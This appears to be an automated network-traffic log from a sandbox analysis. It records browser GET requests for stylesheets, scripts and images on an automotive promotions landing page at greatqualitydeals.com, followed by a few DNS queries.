Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/appear.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/index.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/bootstrap.min.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/product-mc.jpg HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/verified.png HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/2ndcar-kit.jpg HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/promise.min.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.min.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.mask.min.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/validator.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/product-mc.jpg HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/verified.png HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/codebase.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/promise.min.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/form_handler.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.mask.min.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/app.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.min.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/outro.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/validator.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/extensions/CbUtilityPackage/js/cb-util-pkg.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/extensions/Validator/js/validator.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/codebase.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/form_handler.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/app.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/js/outro.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/extensions/CbUtilityPackage/js/cb-util-pkg.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/extensions/Validator/js/validator.js HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/2ndcar-kit.jpg HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome-css.min.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/fonts/fontawesome-webfont.woff2 HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.greatqualitydeals.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/tick-input_1.png HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/app2.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/favicon.jpg HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/tick-input_1.png HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/img/processing.gif HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/custom.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/error-input_1.png HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/app2.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/error-input_1.png HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23

Source: global traffic	DNS traffic detected: DNS query: vaultdores.com
Source: global traffic	DNS traffic detected: DNS query: kindacoil.site
Source: global traffic	DNS traffic detected: DNS query: www.google.com
